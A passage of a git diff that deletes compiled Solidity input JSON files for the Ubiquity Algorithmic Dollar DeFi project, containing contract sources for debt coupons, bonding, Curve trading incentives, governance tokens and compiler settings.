getCouponsReturnedForDollars(uint256 amount)\n external\n view\n returns (uint256)\n {\n ICouponsForDollarsCalculator couponCalculator = ICouponsForDollarsCalculator(\n manager.couponCalculatorAddress()\n );\n return couponCalculator.getCouponAmount(amount);\n }\n\n /// @dev uses the current uAR for dollars calculation to get uAR for dollars\n /// @param amount the amount of dollars to exchange for uAR\n function getUARReturnedForDollars(uint256 amount)\n external\n view\n returns (uint256)\n {\n IUARForDollarsCalculator uarCalculator = IUARForDollarsCalculator(\n manager.uarCalculatorAddress()\n );\n return uarCalculator.getUARAmount(amount, blockHeightDebt);\n }\n\n /// @dev should be called by this contract only when getting coupons to be burnt\n function onERC1155Received(\n address operator,\n address,\n uint256,\n uint256,\n bytes calldata\n ) external view override returns (bytes4) {\n if (manager.hasRole(manager.COUPON_MANAGER_ROLE(), operator)) {\n //allow the transfer since it originated from this contract\n return\n bytes4(\n keccak256(\n \"onERC1155Received(address,address,uint256,uint256,bytes)\"\n )\n );\n } else {\n //reject the transfer\n return \"\";\n }\n }\n\n /// @dev this method is never called by the contract so if called,\n /// it was called by someone else -> revert.\n function onERC1155BatchReceived(\n address,\n address,\n uint256[] calldata,\n uint256[] calldata,\n bytes calldata\n ) external pure override returns (bytes4) {\n //reject the transfer\n return \"\";\n }\n\n /// @dev let debt holder burn expired coupons for UGOV. Doesn't make TWAP > 1 check.\n /// @param id the timestamp of the coupon\n /// @param amount the amount of coupons to redeem\n /// @return uGovAmount amount of UGOV tokens minted to debt holder\n function burnExpiredCouponsForUGOV(uint256 id, uint256 amount)\n public\n returns (uint256 uGovAmount)\n {\n // Check whether debt coupon hasn't expired --> Burn debt coupons.\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n\n require(id <= block.number, \"Coupon has not expired\");\n require(\n debtCoupon.balanceOf(msg.sender, id) >= amount,\n \"User not enough coupons\"\n );\n\n debtCoupon.burnCoupons(msg.sender, amount, id);\n\n // Mint UGOV tokens to this contract. Transfer UGOV tokens to msg.sender i.e. debt holder\n IERC20Ubiquity uGOVToken = IERC20Ubiquity(\n manager.governanceTokenAddress()\n );\n uGovAmount = amount / expiredCouponConvertionRate;\n uGOVToken.mint(msg.sender, uGovAmount);\n }\n\n // TODO should we leave it ?\n /// @dev Lets debt holder burn coupons for auto redemption. Doesn't make TWAP > 1 check.\n /// @param id the timestamp of the coupon\n /// @param amount the amount of coupons to redeem\n /// @return amount of auto redeem pool tokens (i.e. LP tokens) minted to debt holder\n function burnCouponsForAutoRedemption(uint256 id, uint256 amount)\n public\n returns (uint256)\n {\n // Check whether debt coupon hasn't expired --> Burn debt coupons.\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n\n require(id > block.timestamp, \"Coupon has expired\");\n require(\n debtCoupon.balanceOf(msg.sender, id) >= amount,\n \"User not enough coupons\"\n );\n\n debtCoupon.burnCoupons(msg.sender, amount, id);\n\n // Mint LP tokens to this contract. Transfer LP tokens to msg.sender i.e. debt holder\n UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem(\n manager.autoRedeemTokenAddress()\n );\n autoRedeemToken.mint(address(this), amount);\n autoRedeemToken.transfer(msg.sender, amount);\n\n return autoRedeemToken.balanceOf(msg.sender);\n }\n\n /// @dev Exchange auto redeem pool token for uAD tokens.\n /// @param amount Amount of uAR tokens to burn in exchange for uAD tokens.\n /// @return amount of unredeemed uAR\n function burnAutoRedeemTokensForDollars(uint256 amount)\n public\n returns (uint256)\n {\n uint256 twapPrice = _getTwapPrice();\n require(twapPrice > 1 ether, \"Price must be above 1 to auto redeem\");\n if (debtCycle) {\n debtCycle = false;\n }\n UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem(\n manager.autoRedeemTokenAddress()\n );\n require(\n autoRedeemToken.balanceOf(msg.sender) >= amount,\n \"User doesn't have enough auto redeem pool tokens.\"\n );\n\n UbiquityAlgorithmicDollar uAD = UbiquityAlgorithmicDollar(\n manager.dollarTokenAddress()\n );\n uint256 maxRedeemableUAR = uAD.balanceOf(address(this));\n\n if (maxRedeemableUAR <= 0) {\n mintClaimableDollars();\n maxRedeemableUAR = uAD.balanceOf(address(this));\n }\n\n uint256 uarToRedeem = amount;\n if (amount > maxRedeemableUAR) {\n uarToRedeem = maxRedeemableUAR;\n }\n autoRedeemToken.burnFrom(msg.sender, uarToRedeem);\n uAD.transfer(msg.sender, uarToRedeem);\n\n return amount - uarToRedeem;\n }\n\n /// @param id the block number of the coupon\n /// @param amount the amount of coupons to redeem\n /// @return amount of unredeemed coupons\n function redeemCoupons(uint256 id, uint256 amount)\n public\n returns (uint256)\n {\n uint256 twapPrice = _getTwapPrice();\n\n require(twapPrice > 1 ether, \"Price must be above 1 to redeem coupons\");\n if (debtCycle) {\n debtCycle = false;\n }\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n\n require(id > block.number, \"Coupon has expired\");\n require(\n debtCoupon.balanceOf(msg.sender, id) >= amount,\n \"User not enough coupons\"\n );\n\n mintClaimableDollars();\n UbiquityAlgorithmicDollar uAD = UbiquityAlgorithmicDollar(\n manager.dollarTokenAddress()\n );\n UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem(\n manager.autoRedeemTokenAddress()\n );\n // uAR have a priority on uDEBT coupon holder\n require(\n autoRedeemToken.totalSupply() <= uAD.balanceOf(address(this)),\n \"There aren't enough uAD to redeem currently\"\n );\n uint256 maxRedeemableCoupons = uAD.balanceOf(address(this)) -\n autoRedeemToken.totalSupply();\n uint256 couponsToRedeem = amount;\n\n if (amount > maxRedeemableCoupons) {\n couponsToRedeem = maxRedeemableCoupons;\n }\n require(\n uAD.balanceOf(address(this)) > 0,\n \"There aren't any uAD to redeem currently\"\n );\n\n // debtCouponManager must be an operator to transfer on behalf of msg.sender\n debtCoupon.burnCoupons(msg.sender, couponsToRedeem, id);\n uAD.transfer(msg.sender, couponsToRedeem);\n\n return amount - (couponsToRedeem);\n }\n\n function mintClaimableDollars() public {\n DebtCoupon debtCoupon = DebtCoupon(manager.debtCouponAddress());\n debtCoupon.updateTotalDebt();\n\n // uint256 twapPrice = _getTwapPrice(); //unused variable. Why here?\n uint256 totalMintableDollars = IDollarMintingCalculator(\n manager.dollarMintingCalculatorAddress()\n ).getDollarsToMint();\n uint256 dollarsToMint = totalMintableDollars - (dollarsMintedThisCycle);\n //update the dollars for this cycle\n dollarsMintedThisCycle = totalMintableDollars;\n\n UbiquityAlgorithmicDollar uAD = UbiquityAlgorithmicDollar(\n manager.dollarTokenAddress()\n );\n // uAD dollars should be minted to address(this)\n uAD.mint(address(this), dollarsToMint);\n UbiquityAutoRedeem autoRedeemToken = UbiquityAutoRedeem(\n manager.autoRedeemTokenAddress()\n );\n\n uint256 currentRedeemableBalance = uAD.balanceOf(address(this));\n uint256 totalOutstandingDebt = debtCoupon.getTotalOutstandingDebt() +\n autoRedeemToken.totalSupply();\n\n if (currentRedeemableBalance > totalOutstandingDebt) {\n uint256 excessDollars = currentRedeemableBalance -\n (totalOutstandingDebt);\n\n IExcessDollarsDistributor dollarsDistributor = IExcessDollarsDistributor(\n manager.getExcessDollarsDistributor(address(this))\n );\n //transfer excess dollars to the distributor and tell it to distribute\n uAD.transfer(\n manager.getExcessDollarsDistributor(address(this)),\n excessDollars\n );\n dollarsDistributor.distributeDollars();\n }\n }\n\n function _getTwapPrice() internal returns (uint256) {\n TWAPOracle(manager.twapOracleAddress()).update();\n return\n TWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n}\n" - }, - "contracts/interfaces/IDebtRedemption.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\n\n/// @title A debt redemption mechanism for coupon holders\n/// @notice Allows users to redeem individual debt coupons or batch redeem coupons\n/// @dev Implements IERC1155Receiver so that it can deal with redemptions\ninterface IDebtCouponManager is IERC1155Receiver {\n function redeemCoupons(\n address from,\n uint256 id,\n uint256 amount\n ) external;\n\n function exchangeDollarsForDebtCoupons(uint256 amount) external;\n}\n" - }, - "contracts/interfaces/ICouponsForDollarsCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\n\n/// @title A mechanism for calculating coupons received for a dollar amount burnt\ninterface ICouponsForDollarsCalculator {\n function getCouponAmount(uint256 dollarsToBurn)\n external\n view\n returns (uint256);\n}\n" - }, - "contracts/UbiquityAutoRedeem.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./ERC20Ubiquity.sol\";\n\ncontract UbiquityAutoRedeem is ERC20Ubiquity {\n constructor(address _manager)\n ERC20Ubiquity(_manager, \"Ubiquity Auto Redeem\", \"uAR\")\n {} // solhint-disable-line no-empty-blocks\n\n /// @notice raise capital in form of uAR (only redeemable when uAD > 1$)\n /// @param amount the amount to be minted\n /// @dev you should be minter to call that function\n function raiseCapital(uint256 amount) external {\n address treasuryAddress = manager.treasuryAddress();\n mint(treasuryAddress, amount);\n }\n}\n" - }, - "contracts/UbiquityGovernance.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./ERC20Ubiquity.sol\";\n\ncontract UbiquityGovernance is ERC20Ubiquity {\n constructor(address _manager) ERC20Ubiquity(_manager, \"Ubiquity\", \"UBQ\") {} // solhint-disable-line no-empty-blocks, max-line-length\n}\n" - }, - "contracts/interfaces/IUbiquityGovernance.sol": { - "content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.3;\n\nimport \"./IERC20Ubiquity.sol\";\n\n/// @title uGOV governance token interface\n/// @author Ubiquity Algorithmic Dollar\n// solhint-disable-next-line no-empty-blocks\ninterface IUbiquityGovernance is IERC20Ubiquity {\n\n}\n" - }, - "contracts/CurveUADIncentive.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/IUbiquityGovernance.sol\";\nimport \"./interfaces/IIncentive.sol\";\nimport \"./TWAPOracle.sol\";\nimport \"./UbiquityAlgorithmicDollar.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\n\n/// @title Uniswap trading incentive contract\n/// @author uAD Protocol\n/// @dev incentives\ncontract CurveUADIncentive is IIncentive {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n UbiquityAlgorithmicDollarManager public manager;\n bool public isSellPenaltyOn = true;\n bool public isBuyIncentiveOn = true;\n bytes16 private immutable _one = (uint256(1 ether)).fromUInt();\n mapping(address => bool) private _exempt;\n event ExemptAddressUpdate(address indexed _account, bool _isExempt);\n modifier onlyAdmin() {\n require(\n manager.hasRole(manager.INCENTIVE_MANAGER_ROLE(), msg.sender),\n \"CurveIncentive: not admin\"\n );\n _;\n }\n modifier onlyUAD() {\n require(\n msg.sender == manager.dollarTokenAddress(),\n \"CurveIncentive: Caller is not uAD\"\n );\n _;\n }\n\n /// @notice CurveIncentive constructor\n /// @param _manager uAD Manager\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n function incentivize(\n address sender,\n address receiver,\n address,\n uint256 amountIn\n ) external override onlyUAD {\n require(sender != receiver, \"CurveIncentive: cannot send self\");\n\n if (sender == manager.stableSwapMetaPoolAddress()) {\n _incentivizeBuy(receiver, amountIn);\n }\n\n if (receiver == manager.stableSwapMetaPoolAddress()) {\n _incentivizeSell(sender, amountIn);\n }\n }\n\n /// @notice set an address to be exempted from Uniswap trading incentives\n /// @param account the address to update\n /// @param isExempt a flag for whether to exempt or unexempt\n function setExemptAddress(address account, bool isExempt)\n external\n onlyAdmin\n {\n _exempt[account] = isExempt;\n emit ExemptAddressUpdate(account, isExempt);\n }\n\n /// @notice switch the sell penalty\n function switchSellPenalty() external onlyAdmin {\n isSellPenaltyOn = !isSellPenaltyOn;\n }\n\n /// @notice switch the buy incentive\n function switchBuyIncentive() external onlyAdmin {\n isBuyIncentiveOn = !isBuyIncentiveOn;\n }\n\n /// @notice returns true if account is marked as exempt\n function isExemptAddress(address account) public view returns (bool) {\n return _exempt[account];\n }\n\n function _incentivizeBuy(address target, uint256 amountIn) internal {\n _updateOracle();\n\n if (isExemptAddress(target) || !isBuyIncentiveOn) {\n return;\n }\n\n uint256 incentive = _getPercentDeviationFromUnderPeg(amountIn);\n /* swapping 3CRV (or underlying) for uAD (aka buying uAD) will mint x% of uGOV.\n Where x = (1- TWAP_Price) * amountIn.\n E.g. uAD = 0.8, you buy 1000 uAD, you get (1-0.8)*1000 = 200 uGOV */\n\n if (incentive != 0) {\n // this means CurveIncentive should be a minter of UGOV\n IUbiquityGovernance(manager.governanceTokenAddress()).mint(\n target,\n incentive\n );\n }\n }\n\n /// @notice returns the percentage of deviation from the peg multiplied by amount\n // when uAD is <1$\n function _getPercentDeviationFromUnderPeg(uint256 amount)\n internal\n returns (uint256)\n {\n _updateOracle();\n uint256 curPrice = _getTWAPPrice();\n if (curPrice >= 1 ether) {\n return 0;\n }\n\n uint256 res = _one\n .sub(curPrice.fromUInt())\n .mul((amount.fromUInt().div(_one)))\n .toUInt();\n // returns (1- TWAP_Price) * amount.\n return res;\n }\n\n function _incentivizeSell(address target, uint256 amount) internal {\n _updateOracle();\n if (isExemptAddress(target) || !isSellPenaltyOn) {\n return;\n }\n\n /*\n WARNING\n From curve doc :Tokens that take a fee upon a successful transfer may cause the curve pool\n to break or act in unexpected ways.\n fei does it differently because they can make sure only one contract has the ability to sell\n uAD and they control the whole liquidity pool on uniswap.\n here to avoid problem with the curve pool we execute the transfer as specified and then we\n take the penalty so if penalty + amount > balance then we revert\n swapping uAD for 3CRV (or underlying) (aka selling uAD) will burn x% of uAD\n Where x = (1- TWAP_Price) *100.\n */\n\n uint256 penalty = _getPercentDeviationFromUnderPeg(amount);\n if (penalty != 0) {\n require(penalty < amount, \"Dollar: burn exceeds trade size\");\n\n require(\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress())\n .balanceOf(target) >= penalty + amount,\n \"Dollar: balance too low to get penalized\"\n );\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\n target,\n penalty\n ); // burn from the recipient\n }\n }\n\n function _updateOracle() internal {\n TWAPOracle(manager.twapOracleAddress()).update();\n }\n\n function _getTWAPPrice() internal view returns (uint256) {\n return\n TWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n}\n" - }, - "contracts/Bonding.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"./interfaces/IERC1155Ubiquity.sol\";\nimport \"./interfaces/IMetaPool.sol\";\nimport \"./interfaces/IUbiquityFormulas.sol\";\nimport \"./UbiquityAlgorithmicDollar.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./interfaces/ISablier.sol\";\nimport \"./interfaces/IMasterChef.sol\";\nimport \"./interfaces/ITWAPOracle.sol\";\nimport \"./interfaces/IERC1155Ubiquity.sol\";\nimport \"./utils/CollectableDust.sol\";\n\ncontract Bonding is CollectableDust {\n using SafeERC20 for IERC20;\n\n bytes public data = \"\";\n UbiquityAlgorithmicDollarManager public manager;\n\n uint256 public constant ONE = uint256(1 ether); // 3Crv has 18 decimals\n ISablier public sablier;\n uint256 public bondingDiscountMultiplier = uint256(1000000 gwei); // 0.001\n uint256 public redeemStreamTime = 86400; // 1 day in seconds\n uint256 public blockCountInAWeek = 45361;\n uint256 public blockRonding = 100;\n uint256 public uGOVPerBlock = 1;\n\n event MaxBondingPriceUpdated(uint256 _maxBondingPrice);\n event SablierUpdated(address _sablier);\n event BondingDiscountMultiplierUpdated(uint256 _bondingDiscountMultiplier);\n event RedeemStreamTimeUpdated(uint256 _redeemStreamTime);\n event BlockRondingUpdated(uint256 _blockRonding);\n event BlockCountInAWeekUpdated(uint256 _blockCountInAWeek);\n event UGOVPerBlockUpdated(uint256 _uGOVPerBlock);\n\n modifier onlyBondingManager() {\n require(\n manager.hasRole(manager.BONDING_MANAGER_ROLE(), msg.sender),\n \"Caller is not a bonding manager\"\n );\n _;\n }\n\n constructor(address _manager, address _sablier) CollectableDust() {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n sablier = ISablier(_sablier);\n }\n\n // solhint-disable-next-line no-empty-blocks\n receive() external payable {}\n\n /// @dev uADPriceReset remove uAD unilateraly from the curve LP share sitting inside\n /// the bonding contract and send the uAD received to the treasury.\n /// This will have the immediate effect of pushing the uAD price HIGHER\n /// @param amount of LP token to be removed for uAD\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\n function uADPriceReset(uint256 amount) external onlyBondingManager {\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\n // safe approve\n IERC20(manager.stableSwapMetaPoolAddress()).safeApprove(\n address(this),\n amount\n );\n // remove one coin\n uint256 expected = (metaPool.calc_withdraw_one_coin(amount, 0) * 99) /\n 100;\n // update twap\n metaPool.remove_liquidity_one_coin(amount, 0, expected);\n ITWAPOracle(manager.twapOracleAddress()).update();\n IERC20(manager.dollarTokenAddress()).safeTransfer(\n manager.treasuryAddress(),\n IERC20(manager.dollarTokenAddress()).balanceOf(address(this))\n );\n }\n\n /// @dev crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside\n /// the bonding contract and send the 3CRV received to the treasury\n /// This will have the immediate effect of pushing the uAD price LOWER\n /// @param amount of LP token to be removed for 3CRV tokens\n /// @notice it will remove one coin only from the curve LP share sitting in the bonding contract\n function crvPriceReset(uint256 amount) external onlyBondingManager {\n IMetaPool metaPool = IMetaPool(manager.stableSwapMetaPoolAddress());\n // safe approve\n IERC20(manager.stableSwapMetaPoolAddress()).safeApprove(\n address(this),\n amount\n );\n // remove one coin\n uint256 expected = (metaPool.calc_withdraw_one_coin(amount, 1) * 99) /\n 100;\n // update twap\n metaPool.remove_liquidity_one_coin(amount, 1, expected);\n ITWAPOracle(manager.twapOracleAddress()).update();\n IERC20(manager.curve3PoolTokenAddress()).safeTransfer(\n manager.treasuryAddress(),\n IERC20(manager.curve3PoolTokenAddress()).balanceOf(address(this))\n );\n }\n\n /// Collectable Dust\n function addProtocolToken(address _token)\n external\n override\n onlyBondingManager\n {\n _addProtocolToken(_token);\n }\n\n function removeProtocolToken(address _token)\n external\n override\n onlyBondingManager\n {\n _removeProtocolToken(_token);\n }\n\n function sendDust(\n address _to,\n address _token,\n uint256 _amount\n ) external override onlyBondingManager {\n _sendDust(_to, _token, _amount);\n }\n\n function setSablier(address _sablier) external onlyBondingManager {\n sablier = ISablier(_sablier);\n emit SablierUpdated(_sablier);\n }\n\n function setBondingDiscountMultiplier(uint256 _bondingDiscountMultiplier)\n external\n onlyBondingManager\n {\n bondingDiscountMultiplier = _bondingDiscountMultiplier;\n emit BondingDiscountMultiplierUpdated(_bondingDiscountMultiplier);\n }\n\n function setRedeemStreamTime(uint256 _redeemStreamTime)\n external\n onlyBondingManager\n {\n redeemStreamTime = _redeemStreamTime;\n emit RedeemStreamTimeUpdated(_redeemStreamTime);\n }\n\n function setBlockRonding(uint256 _blockRonding)\n external\n onlyBondingManager\n {\n blockRonding = _blockRonding;\n emit BlockRondingUpdated(_blockRonding);\n }\n\n function setBlockCountInAWeek(uint256 _blockCountInAWeek)\n external\n onlyBondingManager\n {\n blockCountInAWeek = _blockCountInAWeek;\n emit BlockCountInAWeekUpdated(_blockCountInAWeek);\n }\n\n function setUGOVPerBlock(uint256 _uGOVPerBlock)\n external\n onlyBondingManager\n {\n uGOVPerBlock = _uGOVPerBlock;\n emit UGOVPerBlockUpdated(_uGOVPerBlock);\n }\n\n /// @dev deposit uAD-3CRV LP tokens for a duration to receive bonding shares\n /// @param _lpsAmount of LP token to send\n /// @param _weeks during lp token will be held\n /// @notice weeks act as a multiplier for the amount of bonding shares to be received\n function deposit(uint256 _lpsAmount, uint256 _weeks)\n public\n returns (uint256 _id)\n {\n require(\n 1 <= _weeks && _weeks <= 208,\n \"Bonding: duration must be between 1 and 208 weeks\"\n );\n _updateOracle();\n\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransferFrom(\n msg.sender,\n address(this),\n _lpsAmount\n );\n\n uint256 _sharesAmount = IUbiquityFormulas(manager.formulasAddress())\n .durationMultiply(_lpsAmount, _weeks, bondingDiscountMultiplier);\n\n // 1 week = 45361 blocks = 2371753*7/366\n // n = (block + duration * 45361)\n // id = n - n % blockRonding\n // blockRonding = 100 => 2 ending zeros\n uint256 n = block.number + _weeks * blockCountInAWeek;\n _id = n - (n % blockRonding);\n _mint(_sharesAmount, _id);\n // set masterchef for uGOV rewards\n IMasterChef(manager.masterChefAddress()).deposit(\n _sharesAmount,\n msg.sender\n );\n }\n\n /// @dev withdraw an amount of uAD-3CRV LP tokens\n /// @param _sharesAmount of bonding shares of type _id to be withdrawn\n /// @param _id bonding shares id\n /// @notice bonding shares are ERC1155 (aka NFT) because they have an expiration date\n function withdraw(uint256 _sharesAmount, uint256 _id) public {\n require(\n block.number > _id,\n \"Bonding: Redeem not allowed before bonding time\"\n );\n\n require(\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\n msg.sender,\n _id\n ) >= _sharesAmount,\n \"Bonding: caller does not have enough shares\"\n );\n\n _updateOracle();\n // get masterchef for uGOV rewards To ensure correct computation\n // it needs to be done BEFORE burning the shares\n IMasterChef(manager.masterChefAddress()).withdraw(\n _sharesAmount,\n msg.sender\n );\n\n uint256 _currentShareValue = currentShareValue();\n\n IERC1155Ubiquity(manager.bondingShareAddress()).burn(\n msg.sender,\n _id,\n _sharesAmount\n );\n\n // if (redeemStreamTime == 0) {\n IERC20(manager.stableSwapMetaPoolAddress()).safeTransfer(\n msg.sender,\n IUbiquityFormulas(manager.formulasAddress()).redeemBonds(\n _sharesAmount,\n _currentShareValue,\n ONE\n )\n );\n }\n\n function currentShareValue() public view returns (uint256 priceShare) {\n uint256 totalLP = IERC20(manager.stableSwapMetaPoolAddress()).balanceOf(\n address(this)\n );\n\n uint256 totalShares = IERC1155Ubiquity(manager.bondingShareAddress())\n .totalSupply();\n\n priceShare = IUbiquityFormulas(manager.formulasAddress()).bondPrice(\n totalLP,\n totalShares,\n ONE\n );\n }\n\n function currentTokenPrice() public view returns (uint256) {\n return\n ITWAPOracle(manager.twapOracleAddress()).consult(\n manager.dollarTokenAddress()\n );\n }\n\n function _mint(uint256 _sharesAmount, uint256 _id) internal {\n uint256 _currentShareValue = currentShareValue();\n require(\n _currentShareValue != 0,\n \"Bonding: share value should not be null\"\n );\n\n IERC1155Ubiquity(manager.bondingShareAddress()).mint(\n msg.sender,\n _id,\n _sharesAmount,\n data\n );\n }\n\n function _updateOracle() internal {\n ITWAPOracle(manager.twapOracleAddress()).update();\n }\n}\n" - }, - "contracts/interfaces/IMasterChef.sol": { - "content": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ninterface IMasterChef {\n struct UserInfo {\n uint256 amount; // How many LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n }\n struct PoolInfo {\n uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.\n uint256 accuGOVPerShare; // Accumulated SUSHI per share, times 1e12. See below.\n }\n\n event Deposit(address indexed user, uint256 amount);\n event Withdraw(address indexed user, uint256 amount);\n\n function deposit(uint256 _amount, address sender) external;\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(uint256 _amount, address sender) external;\n\n // View function to see pending SUSHIs on frontend.\n function pendingUGOV(address _user) external view returns (uint256);\n}\n\n// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON:\n" - }, - "contracts/CouponsForDollarsCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./interfaces/ICouponsForDollarsCalculator.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\nimport \"./DebtCoupon.sol\";\n\n/// @title Uses the following formula: ((1/(1-R)^2) - 1)\ncontract CouponsForDollarsCalculator is ICouponsForDollarsCalculator {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n UbiquityAlgorithmicDollarManager public manager;\n\n /* using ABDKMath64x64 for uint256;\n using ABDKMath64x64 for int128;*/\n\n /// @param _manager the address of the manager/config contract so we can fetch variables\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n function getCouponAmount(uint256 dollarsToBurn)\n external\n view\n override\n returns (uint256)\n {\n require(\n DebtCoupon(manager.debtCouponAddress()).getTotalOutstandingDebt() <\n IERC20(manager.dollarTokenAddress()).totalSupply(),\n \"Coupon to dollar: DEBT_TOO_HIGH\"\n );\n bytes16 one = uint256(1).fromUInt();\n bytes16 totalDebt = DebtCoupon(manager.debtCouponAddress())\n .getTotalOutstandingDebt()\n .fromUInt();\n bytes16 r = totalDebt.div(\n IERC20(manager.dollarTokenAddress()).totalSupply().fromUInt()\n );\n\n bytes16 oneMinusRAllSquared = (one.sub(r)).mul(one.sub(r));\n\n bytes16 res = one.div(oneMinusRAllSquared);\n\n return res.mul(dollarsToBurn.fromUInt()).toUInt();\n }\n}\n" - } - }, - "settings": { - "optimizer": { - "enabled": true, - "runs": 800 - }, - "metadata": { - "bytecodeHash": "none", - "useLiteralContent": true - }, - "outputSelection": { - "*": { - "*": ["abi", "evm.bytecode", "evm.deployedBytecode", "evm.methodIdentifiers", "metadata", "devdoc", "userdoc", "storageLayout", "evm.gasEstimates"], - "": ["ast"] - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/solcInputs/718dfe5f2e9bb98c22443f71ab0527e0.json b/packages/contracts/dollar/deployments/mainnet/solcInputs/718dfe5f2e9bb98c22443f71ab0527e0.json deleted file mode 100644 index 2593866c9..000000000 --- a/packages/contracts/dollar/deployments/mainnet/solcInputs/718dfe5f2e9bb98c22443f71ab0527e0.json +++ /dev/null @@ -1,228 +0,0 @@ -{ - "language": "Solidity", - "sources": { - "contracts/ABDKTest.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./interfaces/IUARForDollarsCalculator.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\nimport \"./DebtCoupon.sol\";\n\ncontract ABDKTest {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n\n function max() public pure returns (uint256) {\n // 115792089237316195423570985008687907853269984665640564039457584007913129639935\n uint256 maxUInt256 =\n 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;\n return maxUInt256.fromUInt().toUInt();\n }\n\n function add(uint256 amount) public pure returns (uint256) {\n uint256 maxUInt256 =\n 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;\n return maxUInt256.fromUInt().add(amount.fromUInt()).toUInt();\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/IERC20.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n" - }, - "contracts/interfaces/IUARForDollarsCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity 